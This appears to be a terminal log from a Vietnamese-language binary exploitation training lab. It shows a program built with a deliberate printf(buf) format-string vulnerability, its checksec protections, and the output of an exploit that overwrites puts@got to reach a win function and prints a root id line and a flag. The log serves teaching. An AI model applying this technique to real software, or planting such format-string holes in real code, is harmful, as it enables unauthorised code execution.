### Lab 8.1 - GOT overwrite bang format string
### Ubuntu 24.04, glibc 2.39, gcc 13.3 (chay that tren server)

$ uname -a; ldd --version | head -1
Linux ubuntu24 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
ldd (Ubuntu GLIBC 2.39-0ubuntu8.9) 2.39

$ bash build.sh
src.c: In function ‘main’:
src.c:33:12: warning: format not a string literal and no format arguments [-Wformat-security]
   33 |     printf(buf);          // LO HONG format string (write primitive)
      |            ^~~
[*] built: fmtgot

$ checksec (pwntools)
[*] '/root/techlabs/pwn-p8/labs/8.1/fmtgot'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

$ python3 exploit.py
[*] '/root/techlabs/pwn-p8/labs/8.1/fmtgot'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes
[x] Starting local process './fmtgot'
[+] Starting local process './fmtgot': pid 440702
[*] win       = 0x401186
[*] puts@got  = 0x404008
[*] payload len = 64
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 376B
[x] Receiving all data: 392B
[x] Receiving all data: 431B
[x] Receiving all data: 469B
[x] Receiving all data: 479B
[+] Receiving all data: Done (479B)
[*] Process './fmtgot' stopped with exit code 0 (pid 440702)
                                                                                                                                     p                                                                                                                                          �                                              1aaaab@@[win] GOT cua puts da bi ghi de, dang mo shell:
===PWNED_8_1===
uid=0(root) gid=0(root) groups=0(root)
flag{got_overwrite_via_format_string}
===END===

[+] GOT overwrite OK: puts@got -> win(), da lay shell + flag
